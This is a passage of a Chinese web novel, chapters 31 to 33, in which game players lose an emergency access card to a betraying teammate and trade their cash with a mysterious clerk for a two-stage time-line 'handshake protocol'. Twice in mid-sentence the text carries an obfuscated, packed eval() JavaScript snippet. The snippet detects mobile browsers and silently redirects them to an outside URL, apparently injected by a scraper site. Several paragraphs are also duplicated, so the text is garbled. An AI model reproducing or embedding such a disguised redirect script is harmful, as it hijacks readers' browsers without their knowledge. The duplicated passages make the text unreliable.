“用那张卡片刷开的禁制时间有限,只有15分钟,不确定这里有没有自动报警装置,我们分头探索,尽量别翻乱。”柏临深说着便动手开始翻找。 四人散开,周小棠站在白板前抄上面的时间线图,程宇去翻铁皮文件柜,岳均生把办公桌抽屉挨个拉开,最上面那层整整齐齐码着几排盖了红戳的信封,下面的抽屉锁死了,他又换了个方向去掏转椅背后的矮柜。 十分钟后,四个人在办公桌旁汇合。 桌上摊着他们找到的东西:几份过期的日常运营报告、一本值班表、半盒回形针、一个空的首饰盒。 岳均生把矮柜里拎出来的黑色金属密码箱搁在桌上,箱子摇起来时里面有东西在轻微磕碰。 外面有个四位数字密码锁,周小棠翻出本子里从白板上抄下来的那组被圈出来的数字,岳均生挨个拨过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555497|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,锁弹开了。 箱子里是两样东西,一个铜质印章,一张红色硬质卡片。 红色卡片表面压印着六角形标志和序列号,翻过来,背面印着两行字:“应急通道紧急启动卡B9-B12专用”。 几人兴奋地对视几眼,就这么找到了? “应急通道启动卡。”柏临深把卡片翻过来覆过去看了两遍,“可以绕过时域限制,强制激活B9到B12站台,不需要等第七天的时间节点。” “老天,我们太幸运了吧!”周小糖兴奋地想要去拿过来看看,可她刚拿到手,突然手中又一空。 周小糖回头:“什……” “程宇?”岳均生感觉到身后的动静,程宇的动作却比他快了半拍。 他从周小糖手里一把夺过启动卡,之前脸上的怯懦、胆小,统统消失不见, “程宇?”岳均生感觉到身后的动静,转过头来,却见程宇快速来到了周小糖身边,一把抢走了她手里的卡片。 他抢夺卡片之后又迅速退到门口,之前脸上的怯懦、胆小,统统消失不见,取而代之的是一抹得意的笑。 “你什么意思?”岳均生拧眉质问。 程宇一手拿着卡片,另一只手已经摸出了一枚黑色石头状的道具扣在指尖,他靠在门框上,歪着头看向岳均生,嘴角挂着一个和之前判若两人的笑。 “谢谢你们给我带路,没有你们,我一个人走不到这儿。”他把石头在指间转了一圈,看向了柏临深,“尤其是你,柏……什么来着?没有你,我连这道门都进不来。” “程宇。”岳均生的声音沉下来,“你知道你在干什么吗?你这样太不厚道了吧?” “很清楚。”程宇把卡片往口袋里又塞了塞,“这可是在游戏里,讲什么道义,别那么天真。” “你要这张卡,我们可以谈谈。”柏临深说,他垂在身侧的手指微微动了一下,一枚种子正从袖口无声地滑进掌心,“这张卡并没有限定使用人数,为什么我们不一起用了它?皆大欢喜,不好么?” “换句话说,你开个价吧。”柏临深道。 程宇歪着头看了他片刻,忽然笑了。 “柏哥,”他把黑色石头在指间转了一圈,“你我都不是傻子,我知道你想干嘛,可我现在敢这样做,当然也有自己的依仗,别费劲了。” 他把石头扣在指尖,又扭头看看岳均生和周小糖,笑道:“这一路我从你们身上学会了挺多东西,现在,让我来教你们一件事吧。” “就由我来教会你们,什么叫翻脸。” 没等说完,他将手里的黑色石头一扔,石头在空中炸开,炸出的气浪以门口为圆心向外推出,办公桌上的文件被掀飞,转椅也被气浪卷翻,岳均生刚冲出去两步就被弹回来,后背撞在文件柜上,铁皮发出沉闷的一声巨响。 周小棠被气浪带着踉跄了好几步,本子从手里飞出去,纸页散了一地。 柏临深抬手挡在面前,藤蔓刚飞出去就被强大的气浪冲散成碎叶。 等气浪散去,整个办公室里只剩下日光灯的嗡鸣。 程宇已经不在了。 32. 第 32 章 周小棠从地上爬起来,先去捡自己的本子。 岳均生从文件柜旁边撑起来,后脑勺不小心撞了个包,疼得他龇牙咧嘴,腰间挂着的墩子玩偶还掉下来滚到了墙角,他骂了一句程宇,然后赶紧走过去弯腰捞起来墩子玩偶,吹吹拍拍。 “哎呦我墩子……天杀的程宇,那石头劲儿可真大。” 柏临深站在门口,程宇的脚步声已经远得听不见了。 “他不知道B12的具体位置,就算有启动卡也得先找到站台在哪,我们直接去监控室。”他说。 监控中心的大门上贴着非员工请勿入内的指示牌,柏临深把员工凭证卡往门禁上一拍, “滴!员工卡,请通过。” 监控室里只有一面墙的屏幕,大部分黑着,只有右下角几块亮着,显示着候车大厅、换乘通道和几个站台入口的实时画面。 屏幕墙前面是一排操作台,一个穿浅蓝色制服的监控员正瘫在转椅上,两条腿搭在操作台边缘,脑袋歪在椅背上,眼睛半睁半闭地看着一块黑屏。 岳均生走到他旁边站了片刻,发现他看的屏幕上什么都没有,就是一片纯黑的待机画面。 ……这人在对着黑屏发呆。 “你好。”柏临深说。 监控员没什么动静。 岳均生把临时员工凭证掏出来,在他面前晃了晃。监控员的眼珠子先动了,然后脖子才慢慢转过来,看了凭证一眼,又看了岳均生一眼,把腿从操作台上放下来,坐直了。 “调什么?”他的语气不是很热情,不过也是,谁被迫结束摸鱼都会无奈吧。 柏临深看着显示屏和花花绿绿的按钮思考着,岳均生刚要开口,却被柏临深拦下。 岳均生疑惑的看过去,柏临深给他做了一个暂停的手势,然后对监控员说:“B9到B12站台现在是什么情况?” 监控员一改之前的懒散样子,快速地抬头,溜圆的大眼睛满是警惕:“问这个干什么?” “站长让我们来确认一下最近几次出现的时间和地点,跟之前的记录有没有偏差。” 监控员打了个哈欠,他眯着眼打量柏临深,又扫了一眼周小棠和岳均生,说:“你听谁说的?站长本人?” 柏临深点头应是,不料监控员却哈哈大笑起来。 “哈哈哈,咱们站里谁不知道站长大人都消失很久了,他都没回来,你少蒙我。” 岳均生撇撇嘴,道:“我们骗你干嘛,当然是站长大人亲口跟我们说的,只是他现在还不能露面。” 监控员疑惑地歪头看他:“真的?为什么不能露面?” “有别的安排呗,什么安排可不能告诉你,这可是要保密的。”岳均生摊手道。 监控员思索一下靠回转椅里,手指在扶手上敲了两下,开口道:“那你得有站长盖章的授权书才行,没授权我可不能告诉你。” 柏临深点了一下头,给两人使了个眼色,转身出去。 不到五分钟他推门回来,手里拿着一张纸,纸上是他手写的授权书,上面还盖着刚从办公室带出来的那枚站长印章。 他把授权书放在操作台上推到监控员面前,监控员低头看了看,又抬头看了看柏临深,脸上的表情介于“这真的合规吗”和“总觉得哪里不对”之间。 他又狐疑地看了看授权书,唔……章确实是真的。 他把授权书推到一边,伸手在操作台上按了几个键。 屏幕墙中间最大的那块屏幕亮了起来,上面是一张完整的车站结构图,从候车大厅到地下换乘通道,每一层的区域划分都标注得清清楚楚。 B1到B8的站台用绿色标记,通道走向和出入口位置一目了然,而B9之后被一道红色的分界线隔开,整片区域用灰色标记覆盖,上面打着黄色的文字标注:“时域限制区。访问权限:仅限特定时间节点自动开放。” B12就在这片灰色区域的最深处,坐标和启动方式等等全部被隐藏。 监控员用食指敲了敲屏幕上那道红色分界线,“时域限制区,你懂的,还和往常一样,不到时间节点是不开的。” 柏临深盯着屏幕上的B12坐标,把B12所在的那片灰色区域和紧急通道的位置默记在心里。 “好,辛苦。”柏临深点点头,三人从监控室出来,岳均生顺手帮监控员把门带上了。 所谓的时间节点大概率就是第七天,现在他们知道了具体的坐标点和紧急通道的位置,可是紧急通道开启卡却被程宇抢走了。 几人一路沉默着来到候车大厅,没人说什么。 “啧。”岳均生啧了一声,道:“一定还有其他开启通道和站台的方法,肯定不止那张卡片,不然那张卡要是丢了,别人难道还上不去了?” 岳均生这话说出口之后没有人接话。 现在三个人都被同一种感觉堵着,从进副本到现在,他们绕了无数圈子,好不容易摸到一张能破局的卡,还没捂热就被程宇连人带卡卷走了。 这口气咽不下去,但眼下更麻烦的是,没有卡,B12的应急通道就打不开。 他们现在手里只有一份站长印章和站台坐标,离通关还差着老远一段路。 三人在脑子里思索着对策,脚下漫无目的地在候车大厅溜达,溜达到了商业区。 “你爱我,我爱你~蜜X冰城甜蜜蜜~” 不远处,蜜X冰城的牌子发出暖黄色的光,淡淡的柠檬味顺着空调风飘到他们的鼻子里。 岳均生吸了吸鼻子,他有点想念此时不知道在何方做着什么的小晏道长了。 岳均生的脚步慢下来,他盯着蜜X冰城的大牌子,发现自己好像很久都没有喝点什么,有点渴。 他往蜜雪冰城的方向拐了两步,走到柜台前面,低头仔细看着菜单。 菜单上的字被灯光照得有点反光,他眯着眼看了片刻,然后从兜里掏出一张纸币排在柜台上。 “先过来喝点东西吧。”他招呼着那两个人过来,然后转头跟店员点单:“三杯柠檬水,两杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556353|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少冰一杯常温,五分糖,谢谢。” “收到,请稍候。”店员低头为他点单和找零,然后转身去旁边做柠檬水了。 “说起来,晏道长那家伙也爱喝柠檬水。”岳均生有些怀念道。 “晏道长,是你们的队友吗?”周小糖问。 “是啊。他每次都要……”岳均生说到一半卡住了,皱起眉头想了想,转头看柏临深,“晏道长喜欢几分甜来着?我记得是全糖,是全糖吧?临深?” 柏临深低着头靠在旁边的柱子上,闻言抬起眼皮:“全糖也太甜了吧。” 岳均生正想回嘴反驳,一个声音先他一步落了下来。 “七分,那个人喜欢七分糖。” 岳均生瞪大了眼睛,趴在柜台上的手肘慢慢直起来,抬头看向柜台后面。 店员此时正把杯子放在操作台上往里加冰,没看他们,神情和之前在柜台后面发呆时没有任何区别,仿佛刚才那句话只是一句随口接的话茬。 “女士,不好意思。”岳均生和柏临深对视一眼,又转过来问店员:“你刚刚说了什么?” 店员一边加柠檬片一边抬头看了他一眼,道:“我说,你们刚才说的那个人,他喜欢点七分糖。” 柏临深走过来伏在柜台前,问道:“可是你怎么知道我们说的是具体哪个人?” “你认识晏道长?”岳均生也盯着她追问道。 店员把加好冰的杯子放在雪克杯里摇了几下,淡淡开口:“唔,知道的。” 我了个挤牙膏一样啊。岳均生不死心,继续追问道:“从哪儿认识的?他长什么样你记得吗?” 她把三杯做好的柠檬水放到柜台上推过来,抬起眼睛看了他一下。 年轻的店员眼睛又黑又亮,她说:“当然是在明天,唔,有点帅呢,这里,有颗虎牙。” 明天。 三个人同时沉默下来,表情有些震惊,震惊得当下不知道该说些什么才好。 她说她在明天认识了晏星梧。 她……是一个能跨时间线存在的人。 店员把托盘往前推了推,收回手,又拿起抹布擦着柜台,跟他们闲聊般问道:“你们今天,找到需要的东西了吗?” 岳均生张了张嘴,一时竟然不知道该怎么回答,他转头看柏临深,柏临深目光和店员对视了两秒,说:“找到了,可又被坏人抢走了。” 岳均生接过话,语气里带着点自嘲:“是啊,没守住,是不是很好笑?” 店员听了没有表示嘲笑或同情,只是略微偏了偏头,安静地想想,又问他们:“那,你们需要帮助吗?” “……什么?”周小糖有些怀疑自己是不是因为太生气而产生了幻觉,她真的是在游戏里吗现在?会不会一切都是她想象出来的,其实这些都是一拍就散的幻觉吧? “需要帮助吗?可以交易哦。”店员重复道。 “什么交易?怎么交易?”柏临深问道,“如果我们需要帮助会怎么样?不需要,又会怎样?” 33. 第 33 章 店员把抹布放下,双手撑在柜台边缘,道:“需要的话,把你们身上所有的现金,给我。” 岳均生:“?啊只是现金吗?” 店员:“是的哦。” “可是,你要现金干什么?”周小糖问。 “总之有用的。”店员有点不耐烦,又道:“到底,要不要交易?” “好好好,要的,要的。”柏临深赶紧说。 岳均生下意识地摸了摸口袋,进副本之前他怕没信号,在高铁站门口取了几百块钱准备买几只熏鸡,后来鸡没买成,钱还在兜里揣着。 他掏出来放在柜台上,又去翻另一个口袋,翻出几张皱巴巴的零钱。 柏临深也把钱包里所有纸币全抽出来,周小糖从口袋里摸出两张折得整整齐齐的钞票,三个人又凑了一小叠,齐齐放在柜台上。 这堆钱在这个车站里几乎没有任何实际用处,他们想不通,但尊重npc的意愿。 店员把纸币收走,打眼看了一眼,也没有数,直接放进了围裙口袋里。 然后她弯腰从柜台下面拿出一个薄薄的黑色文件夹,放在柜台上推过来。 文件夹封面印着一行烫金色的字:“时空枢纽站应急预案”,右下角盖了一个红色的“站长机密”印戳,印戳边缘已经有些褪色,显然不是最近才盖上去的。 “拿去吧。”店员说。 “就没啦?只有一个文件夹吗?”岳均生问。 “看看,不就知道了。”店员无所谓地摆摆手,继续去忙自己的事了。 柏临深带着好奇翻开文件夹。 前几页是车站的基本应急流程,火灾、停电、列车故障,每一页都写得工整又向西,但能看出来被翻过很多次,纸张边缘有些起毛毛。 他一页页匆匆翻过,翻到倒数第三页时停住了,他看着上面的字微微睁大了眼睛。 那一页的抬头写着:“访问卡遗失时的替代方案”,下面是一行加粗的小标题:“双线时空握手协议。” “双线时空,握手协议?”他低低念出来。 “什么?和谁握手?”岳均生好奇凑过来看。 他把文件夹平摊在柜台上,三个人凑在一起看。 “第一阶段,在站内7号终端输入主控密码,生成异时空握手信号,信号在系统内保留二十四小时。” 柏临深继续念,“第二阶段,握手信号生成后的二十四小时内,由操作人员在同一台终端输入确认密码,完成时空回路,回路闭合后,B9到B12站台自动开放,所有登记在册的参与者通行凭证同步生成,两阶段缺一不可。主控密码与确认密码详见附录第七页。” 岳均生不等他说完已经把文件夹翻到第七页,那一页上印着两组数字,每组都是一串十六位的数字和字母混合码,底下标注了7号终端的具体位置:“地下二层换乘通道西侧尽头,B8站台入口旁设备间东墙处。” 文件夹摊在柜台上,三个人面面相觑。 岳均生把那两组密码从头到尾看了三遍,然后他把文件夹翻回导数第三页,盯着“双线时空握手协议”那几个字,皱起眉头。 “等一下。”他把柠檬水放在柜台上,问店员,“这到底是什么东西?什么叫握手?两条时间线怎么握手?这又不是连蓝牙。” 店员没搭理他,自顾自地收拾起来店里的所有东西,然后把卷帘门一拉,说:“好了,本店今日打烊了,再见。” “等一下。”他把柠檬水放在柜台上,问店员,“这到底是什么东西?什么叫握手?两条时间线怎么握手?这又不是连蓝牙。” 店员没搭理他,自顾自地收拾起来店里的所有东西,然后把卷帘门一拉,说:“好了,本店今日打烊了。” “等一下!”柏临深叫住她,问道:“你知道站长现在在什么地方吗?那位站长,还会回到工作岗位上吗?” 店员关门的动作停下来,她笑了一下,却没有回答问题,她又拿起一个空的杯子盛了一杯冰,放在了他们面前,说:“拿去吧,外面挺热的。” 柏临深拿起冰杯,有些摸不着头脑,这个店员太怪了,可他还是问了最后一句:“请问你究竟是什么人?” 店员回到了卷帘门里,指了指外面蜜雪冰城的牌子,说:“没看到吗,我是这里的店员啊。好了,打烊了。再见。” “等一下啊我们还不太明白这个……”岳均生伸手阻拦她。 店员往后退一步进入卷帘门里,道:“我很忙的,到处都需要我。” 说完便把门彻底拉上,广播声和灯光齐齐熄灭掉。 “……溜这么快,是有什么东西在追她吗。”岳均生挠了挠头小声嘀咕。 他看向柏临深,“这东西到底是什么原理?我们握手还是时间线握手?两条时间线怎么握手?” 柏临深思索片刻,手指点在协议的第一阶段描述上,开口道:“是终端,7号终端是这个车站系统的一部分,它在所有时间线上同时存在,就像刚刚那个店员一样。我们在我们的时间线输入主控密码,终端会生成一个握手信号,这个信号会在系统内部保留二十四小时,二十四小时以后,这个信号还在终端里,而另一条时间线也就是目前正处于我们的明天的人,不管是谁,只要在同一台终端上输入确认密码,信号和密码就能对上。” “也就是说,终端是同一个终端,不管在哪条时间线上,它都是同一台机器,我们在这边按下密码,它在系统里留一个标记,二十四小时后有人去按第二个按钮,系统标记对得上,回路就通了。你懂了吗?”周小糖说。 岳均生皱着眉想了片刻,忽然伸手在柜台上比划了一下:“就跟在游戏里发了个好友申请,队友隔了一天上线点了同意。” “……差不多。”柏临深说,“第一阶段,我们现在可以做,但是第二阶段得有人在二十四小时后,也就是另一条时间线,在同一台终端确认。” 岳均生抓了抓头发,又问:“可是我们要怎么才能让另一条时间线的人知道这件事呢?” “所以我们要给他们留些说明。”柏临深说。 柏临深把文件夹合上,说道:“所以现在两件事。” 他说,“第一,我们去7号终端,把第一阶段做了。第二,把第二阶段需要的信息,终端位置、确认密码、还有这个握手协议到底是怎么回事,全部刻在另一条时间线的人能看到的地方。” “刻在哪?”岳均生问。 “终端旁边的墙上,地上,消防栓暗格,座椅旁边。”柏临深说,“所有我们留过记号的地方,让他们不管从哪条路线往下走,都能在不同位置看到同样的信息,一条可能被忽略,那三条四条,总有一条会被看到的。” “走吧。”不等两人回话,柏临深把文件夹夹在腋下,率先往换乘通道的方向走去。 几人穿过换乘通道,在B8站台入口旁找到了那台嵌在设备间东墙上的壁挂式终端。 屏幕处于待机状态,蓝色的光微微闪烁,岳均生借着屏幕上那点微光把主控密码输了进去,然后按下确认键,屏幕闪了一下,开始跳转,正中间弹出一行字:“异时空握手信号已生成,请等待确认。信号有效期:24小时。” 下面的倒计时随即开始跳动。 他又蹲下去,双手按住终端下方的地砖,异能渗进砖缝,把确认密码和终端位置一行一行刻进地砖底层,表面虽然看不出来,但踩上去会有极细微的凹凸感。 柏临深想了想,在终端胖的墙面上刻了个地砖两个字,又在下面画了一个小小的藤蔓图案。 做完这些,他们原路往回走,路上,柏临深突然一拍脑门,道:“我们好像忘了件事。” “什么……”周小糖想了想,眼睛忽然睁大,说:“花臂壮汉!” “哦,差点儿忘了,他还在等我们吗?” 岳均生想了想,又开口:“说起来,那个花臂大哥在明天已经死了,可我们在这条线看到他的时候,他还活着。同一个人,在不同时间线是完全不同的状态。” “也就是说,”周小棠接上,“如果他的状态能跨时间线被改变,那他就可以成为一个信使。” “好主意,我们可以把他作为和那个店员一样的锚点,那样可传递的信息就更多了!”柏临深眼睛都亮了。 几人兴奋地前往候车大厅,一进到A区,就看到一个熟悉的身影正靠在联排座椅上跷着二郎腿。 花臂壮汉。 他大概是在这儿等得太久了,把鞋脱了正在抠脚,袜子破了个洞,露出个大脚趾。 看到岳均生走过来,他把脚从椅背上放下来,眯起眼。 “你们事儿办完了没有啊?老子等得都快长毛了。” 岳均生笑着跟他打了个 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“说吧,怎么个合作法?” 柏临深几人带着花臂壮汉回到了蜜雪冰城门口。 卷帘门还关闭着,他敲了两下,里面沉默了一会儿,然后卷帘门从底下升起一小截儿,店员弯腰探出头,围裙还没摘,手里握着一杯粉色的饮料一边吸一边问:“又怎么了。” “等会儿,怎么我们买的时候没有这个种类?”岳均生问。 “那是重点吗?你先闭嘴吧。”周小糖用笔记本抽了他一下。 “我们想借你的冰柜用一下。”柏临深对店员说。 “哦?”店员饶有兴趣地看了他们一圈,最后目光落在了花臂壮汉身上。 花臂壮汉站在后面,一米九几的个子现在有些局促,此刻两只手老实巴交地垂在裤缝上,像个等着被老师点名的学生。 店员把卷帘门往上多推了一截,转身往里走,指了指柜台后面那台不锈钢冰柜,问:“用冰柜,做什么?” “我们想把这哥们儿撞里边儿。”岳均生拍着花臂壮汉的肩膀往前送了送。 “我这个可是装食材用的冰箱,你装他,我以后,还用不用的了啦?”店员撇撇嘴,不开心道。 “等我们通关之前让另一波人给你钱,足够你换个新冰箱,怎么样?”柏临深道。 “你说话,管用吗?”店员斜眼看他。 “管用的,你忘了吗,另外一波人里有个男的和我长得一样,绝对管用,就算你想要他们身上全部的现金都没问题。”柏临深拍着胸脯跟店员保证道。 “唔,那好吧。” 店员转身几步把冰柜盖子掀开,往里挪了挪几盒柠檬片和果糖浆,腾出一个刚好够一个人蜷进去的空间。 花臂壮汉站在冰柜前,看着那个冷气直往外冒的长方体空间,喉结滚了一下。 “老子这辈子没钻过冰柜。” “大哥,你放心,不会有事儿的,我们那边一大哥是水系异能,解个冻不在话下,到时候通关前再让临深用治疗异能给你全身上下走一遍,保证你出去的时候还能活蹦乱跳,半点事儿没有。”岳均生说。 花臂壮汉沉默了一会儿,然后手脚并用地爬进去,蜷着腿侧躺下来。 他们往花臂壮汉怀里揣好一封记录了详细信息的信,向他点点头。 店员把冰柜盖子轻轻合上,锁扣咔嗒一声扣紧。 她把钥匙递给柏临深:“这个,你们拿好,已经没有位置保管了。” 柏临深接过钥匙,摊开掌心,里面还剩最后两粒种子,他催动异能,让它们开出两朵小花,把花放在了蜜X冰城冰箱旁的地缝里,哥哥会看到的,这也是一个提示。 做完这一切,他对店员说了句“谢谢你”,店员摆了摆手,把卷帘门重新拉下来。 一切安排妥当之后,三个人重新回到换乘通道中段那处偏僻的候车椅。 “他们,会get到的吧?”周小糖扭过头,试探着问身边的两个男士。 “会的。”柏临深笑笑,说:“一定会,我们只要稳住,等着第七天到来就可以了。” 岳均生吸了一口柠檬水,晃了晃腿,有些百无聊赖地说道:“也不知道晏道长他们,现在发现到哪一步了。”